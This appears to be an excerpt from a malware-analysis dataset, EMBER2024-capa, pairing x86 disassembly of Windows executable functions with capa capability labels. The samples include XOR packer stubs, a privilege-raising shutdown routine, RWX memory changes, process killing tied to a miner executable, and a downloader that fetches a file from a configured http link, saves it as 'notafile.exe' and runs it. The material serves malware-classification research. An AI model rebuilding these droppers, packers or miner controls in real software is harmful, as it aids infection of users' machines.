joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408f1c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00408ed0
test al, al
jne 0x408f3d
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x408f89
xor eax, eax
push ebp
push 0x408f79
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403414
push eax
call sub.kernel32.dll_DeleteFileA
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError_1
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408f80
lea eax, [ebp - 0xc]
call fcn.00408f0c
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409290
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x40937f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.00406c54
mov edx, dword [ebp - 8]
mov ecx, 0x409398
xor eax, eax
call fcn.00409184
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_CreateDirectoryA
test eax, eax
jne 0x40934d
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
cmp ebx, 0xb7
je 0x4092b0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x18]
mov edx, dword [ebp - 4]
mov al, 0x2f
call fcn.00408d38
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.00404be4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x20]
mov eax, ebx
call fcn.004071e4
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x14]
mov ecx, 2
mov al, 0x60
call fcn.00408d08
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, 0x4045b0
call fcn.004057e0
call fcn.00402eb4
jmp 0x4092b0
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040322c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409386
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.004031b8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004031b8
ret

Function at 0x4093a8
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffffec
cmp dword [0x40b07c], 2
jne 0x40940f
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x4093ca
xor eax, eax
jmp 0x40941e
lea eax, [esp + 8]
push eax
push 0x409424
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov dword [esp + 4], 1
mov dword [esp + 0x10], 2
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
je 0x40940f
xor eax, eax
jmp 0x40941e
push 0
push 2
call sub.user32.dll_ExitWindowsEx
neg eax
sbb eax, eax
neg eax
add esp, 0x14
ret
Function at 0x409438
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x409492
inc esi
xor edi, edi
cmp edi, 1
jne 0x40945e
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep
jmp 0x40946c
cmp edi, 1
jle 0x40946c
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00408f1c
test eax, eax
jne 0x409492
call sub.kernel32.dll_GetLastError_1
cmp eax, 2
je 0x409492
call sub.kernel32.dll_GetLastError_1
cmp eax, 3
je 0x409492
inc edi
dec esi
jne 0x40944e
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x409724
Capabilities:
Identify system language via api

Disassembly:
push ebx
push esi
push edi
push ebp
cmp dword [0x40cca4], 0
je 0x40976d
mov edi, dword [0x40cde0]
dec edi
test edi, edi
jl 0x40976d
inc edi
xor esi, esi
mov eax, esi
shl eax, 6
add eax, esi
mov edx, dword [0x40cddc]
mov edx, dword [edx + eax]
mov eax, dword [0x40cca4]
call fcn.00404b90
test eax, eax
jne 0x409769
mov eax, esi
call fcn.004096d8
jmp 0x409832
inc esi
dec edi
jne 0x40973f
mov al, byte [0x40cdcc]
sub al, 1
jb 0x40977a
je 0x409783
jmp 0x40978c
call fcn.00406f84
mov ebp, eax
jmp 0x40978e
call sub.kernel32.dll_GetUserDefaultLangID
mov ebp, eax
jmp 0x40978e
xor ebp, ebp
test bp, bp
je 0x40982b
mov edi, dword [0x40cde0]
dec edi
test edi, edi
jl 0x4097da
inc edi
xor esi, esi
mov eax, esi
shl eax, 6
add eax, esi
mov edx, dword [0x40cddc]
lea ebx, [edx + eax]
movzx eax, bp
cmp eax, dword [ebx + 0x28]
jne 0x4097d6
cmp dword [ebx + 0x2c], 0
je 0x4097cd
call sub.kernel32.dll_GetACP
cmp eax, dword [ebx + 0x2c]
jne 0x4097d6
mov eax, esi
call fcn.004096d8
jmp 0x409832
inc esi
dec edi
jne 0x4097a5
mov edi, dword [0x40cde0]
dec edi
test edi, edi
jl 0x40982b
inc edi
xor esi, esi
mov eax, esi
shl eax, 6
add eax, esi
mov edx, dword [0x40cddc]
lea ebx, [edx + eax]
mov eax, dword [ebx + 0x28]
and eax, 0x3ff
mov edx, ebp
and dx, 0x3ff
movzx edx, dx
cmp eax, edx
jne 0x409827
cmp dword [ebx + 0x2c], 0
je 0x40981e
call sub.kernel32.dll_GetACP
cmp eax, dword [ebx + 0x2c]
jne 0x409827
mov eax, esi
call fcn.004096d8
jmp 0x409832
inc esi
dec edi
jne 0x4097e8
xor eax, eax
call fcn.004096d8
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4098c4
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409997
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4099b0
push ebx
push 0x4099bc
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409944
mov al, 0x62
call fcn.0040949c
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00409898
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x40994d
call fcn.00409898
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40999e
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409a50
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409b04
jmp 0x409af9
cmp dword [esi + 0x10], 0x1000
jne 0x409ae5
test byte [esi + 0x15], 1
jne 0x409ae5
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409aa4
cmp eax, 2
je 0x409aa4
cmp eax, 0x10
je 0x409aa4
cmp eax, 0x20
jne 0x409ab9
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409ab9
mov bl, 1
xor ebp, ebp
jmp 0x409aca
mov eax, dword [esi]
add eax, ebp
call fcn.00409a48
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409abd
test bl, bl
je 0x409ae5
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409b04
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a7c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x9eb920
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x9eb96c
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x9eb932
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x9eb9d0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x9eba22
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x9eba28
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret

Function at 0xa03f15
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a03bd5

Function at 0xa08d0f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a08b8e

Function at 0xa0e2c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xa0e2ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xa0e2ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4031e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x42a6dc]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
mov ebx, ecx
push esi
cmp dword [ebx + 0x40], 0
push edi
je 0x403324
cmp byte [ebx + 0x45], 0
je 0x403324
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x40322d
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004082bf
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
mov byte [esp + 0x14], 0
xorps xmm0, xmm0
movq qword [esp + 0x14], xmm0
lea eax, [esp + 0x14]
cmp ecx, 0x10
cmovae eax, dword [esp + 0x14]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], 8
mov byte [eax + 8], 0
lea esp, [esp]
cmp dword [esp + 0x28], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [esp + 0x10]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x28]
lea edi, [esp + 0x18]
cmovae edi, dword [esp + 0x18]
lea esi, [esp + 0x18]
cmovae esi, dword [esp + 0x18]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x4032a1
dec eax
je 0x4032a5
sub eax, 2
je 0x4032fb
xor bl, bl
jmp 0x4032fd
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
cmp ecx, 0x10
lea eax, [esp + 0x14]
cmovae eax, edx
sub esi, eax
je 0x4032dc
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [esp + 0x1c]
cmovae eax, edx
push 1
push eax
call fcn.004097c3
add esp, 0x10
cmp esi, eax
jne 0x40329d
cmp byte [ebx + 0x45], 0
je 0x4032fb
test esi, esi
jne 0x403260
push esi
push 8
lea ecx, [esp + 0x1c]
call fcn.00402dd0
jmp 0x403260
mov bl, 1
cmp dword [esp + 0x28], 0x10
jb 0x403310
push dword [esp + 0x14]
call fcn.004095e8
add esp, 4
mov al, bl
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004082bf
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov al, 1
call fcn.004082bf
mov esp, ebp
pop ebp
ret
Function at 0x403cb0
Capabilities:
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1bc
mov eax, dword [0x42a6dc]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
push 0x42cfb0
mov edi, edx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.X:.Trash_100
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.00409569
add esp, 0xc
lea eax, [ebp - 0x114]
push str.db_
push 0x104
push eax
call fcn.00409841
add esp, 0xc
lea eax, [ebp - 0x114]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.00409841
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 0xc
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x1bc]
call fcn.004020e0
mov eax, dword [ebp + 8]
cdq
push edx
push eax
push edi
lea ecx, [ebp - 0x1bc]
call fcn.00401980
lea ecx, [ebp - 0x1b8]
call fcn.00403090
test eax, eax
jne 0x403d8f
mov eax, dword [ebp - 0x1bc]
lea ecx, [ebp - 0x1bc]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x403d87
or eax, 4
push 0
push eax
call fcn.00401720
push 0x42cfb0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x1c0], eax
lea ecx, [ebp - 0x1b8]
call fcn.004021e0
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x1c0], eax
lea eax, [ebp - 0x15c]
push eax
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::ios_base.0
call fcn.004079ea
mov ecx, dword [ebp - 8]
add esp, 4
xor ecx, ebp
pop edi
mov al, 1
pop esi
call fcn.004082bf
mov esp, ebp
pop ebp
ret
Function at 0x4045b0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42a6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x42cfb0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x42cfb0
mov byte [0x42cfad], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push dword [0x42cfa8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x104
lea edx, [ebp - 0x110]
mov ecx, str.miner_exe_name
call fcn.00403e20
add esp, 4
test al, al
je 0x404615
lea ecx, [ebp - 0x110]
call fcn.00406720
push 0xffffffffffffffff
push dword [0x42cfa8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004082bf
mov esp, ebp
pop ebp
ret

Function at 0x404640
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42a6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x42cfb0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x42cfb0
mov byte [0x42cfad], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push dword [0x42cfa8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x104
lea edx, [ebp - 0x110]
mov ecx, str.miner_exe_name
call fcn.00403e20
add esp, 4
test al, al
je 0x4046a5
lea ecx, [ebp - 0x110]
call fcn.00406720
push 0xffffffffffffffff
push dword [0x42cfa8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4046c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x42a6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x154]
push 0
push eax
mov dword [ebp - 0x158], 0x44
call fcn.0040cf60
add esp, 0xc
xor eax, eax
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x12c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00404640
int3
Function at 0x405460
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
mov eax, dword [0x42a6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x17f]
mov esi, ecx
push 0
push eax
mov byte [ebp - 0x289], dl
mov dword [ebp - 0x290], esi
mov byte [ebp - 0x180], 0
call fcn.0040cf60
mov al, byte [0x426e18]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [ebp - 0x1c], al
xor eax, eax
push str.X:.Trash_100
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
movq qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x180]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [ebp - 0x13], xmm0
xor edi, edi
xor bl, bl
call fcn.00409569
add esp, 0xc
lea eax, [ebp - 0x180]
push 0x4269bc
push 0x104
push eax
call fcn.00409841
add esp, 0xc
lea eax, [ebp - 0x180]
push str.notafile.exe
push 0x104
push eax
call fcn.00409841
lea edx, [ebp - 0x24]
add esp, 0xc
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x405530
lea eax, [ebp - 0x14]
sub edx, ecx
push 0x10
push eax
lea ecx, [ebp - 0x24]
call fcn.00403ff0
mov al, byte [ebp - 0x289]
add esp, 8
test al, al
jne 0x405558
mov bl, 1
jmp 0x4055a6
cmp al, 1
jne 0x4055a6
lea eax, [ebp - 0x34]
push 0x104
push eax
mov edx, str.version
mov ecx, esi
call fcn.00405be0
add esp, 8
test al, al
je 0x4055a6
push 0x42bee0
call fcn.00409ead
mov esi, eax
add esp, 4
lea eax, [ebp - 0x34]
push eax
call fcn.00409ead
movzx ebx, bl
add esp, 4
cmp eax, esi
mov esi, dword [ebp - 0x290]
mov ecx, 1
cmovg ebx, ecx
lea eax, [ebp - 0x288]
push 0x104
push eax
mov edx, str.link
mov ecx, esi
call fcn.00405be0
add esp, 8
test al, al
je 0x4056be
lea eax, [ebp - 0x78]
push 0x40
push eax
mov edx, str.encryption_key
mov ecx, esi
call fcn.00405be0
add esp, 8
test al, al
je 0x4056be
test bl, bl
je 0x4056be
lea edx, [ebp - 0x180]
lea ecx, [ebp - 0x288]
call fcn.00406470
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
test al, al
jne 0x40563b
lea esp, [esp]
lea eax, [edi + 1]
lea edi, [edi + 2]
cmp eax, 0xa
jge 0x4056d6
push 0x927c0
call esi
lea edx, [ebp - 0x180]
lea ecx, [ebp - 0x288]
call fcn.00406470
test al, al
je 0x405610
push ecx
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x180]
call fcn.00406e90
add esp, 4
test eax, eax
jne 0x4056cf
cmp byte [ebp - 0x78], al
je 0x405664
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x180]
call fcn.004040d0
push 0x40
lea eax, [ebp - 0x2d4]
push 0
push eax
mov dword [ebp - 0x2d8], 0x44
call fcn.0040cf60
add esp, 0xc
xor eax, eax
mov word [ebp - 0x2a8], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2d8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x180]
push eax
push 0
mov dword [ebp - 0x2ac], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4056db
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004082bf
mov esp, ebp
pop ebp
ret
push 0x3a98
call esi
call fcn.004046c0
call fcn.00404640
int3
Function at 0x406470
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5fc
mov eax, dword [0x42a6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push str.http:__
push edi
mov dword [ebp - 0x5f8], edx
call fcn.00409a30
mov esi, eax
add esp, 8
test esi, esi
je 0x4064a7
add esi, 7
jmp 0x4064a9
mov esi, edi
push 0x427170
push esi
call fcn.00409a30
add esp, 8
test eax, eax
je 0x406578
push 0x427170
push esi
call fcn.00409a30
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x48]
push 0x40
push eax
call fcn.00409d57
push 0x427170
push esi
call fcn.00409a30
push eax
lea eax, [ebp - 0x1f0]
push 0x104
push eax
call fcn.00409569
add esp, 0x2c
lea eax, [ebp - 0x5f0]
push 0
push 1
push 0x400
push eax
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.00405dd0
add esp, 0x10
test al, al
je 0x406578
push ecx
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0x5f0]
call fcn.00405d10
add esp, 8
test al, al
je 0x406578
lea eax, [ebp - 0xe8]
push eax
call fcn.00409ead
add esp, 4
mov ebx, eax
push ebx
call fcn.00407d32
add esp, 4
mov esi, eax
push 1
push 0
push ebx
push esi
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.00405dd0
add esp, 0x10
test al, al
jne 0x40658b
push esi
call fcn.00409564
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004082bf
mov esp, ebp
pop ebp
ret
push 0x20
lea edx, [ebp - 0x68]
mov ecx, str.heur_check
call fcn.00403e20
add esp, 4
mov byte [ebp - 0x5f1], al
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x5f8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40656f
xor ecx, ecx
cmp byte [ebp - 0x5f1], cl
push 0
lea eax, [ebp - 0x5fc]
cmovne eax, ecx
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.00409564
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.004082bf
mov esp, ebp
pop ebp
ret
Function at 0x406720
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42a6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 1
jne 0x4067fe
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
jne 0x4067fe
jmp 0x406790
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x10c]
lea esp, [esp]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4067c0
test dl, dl
je 0x4067bc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4067c0
add ecx, 2
add eax, 2
test dl, dl
jne 0x4067a0
xor eax, eax
jmp 0x4067c5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4067ef
push dword [ebp - 0x128]
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xd
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
je 0x406790
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004082bf
mov esp, ebp
pop ebp
ret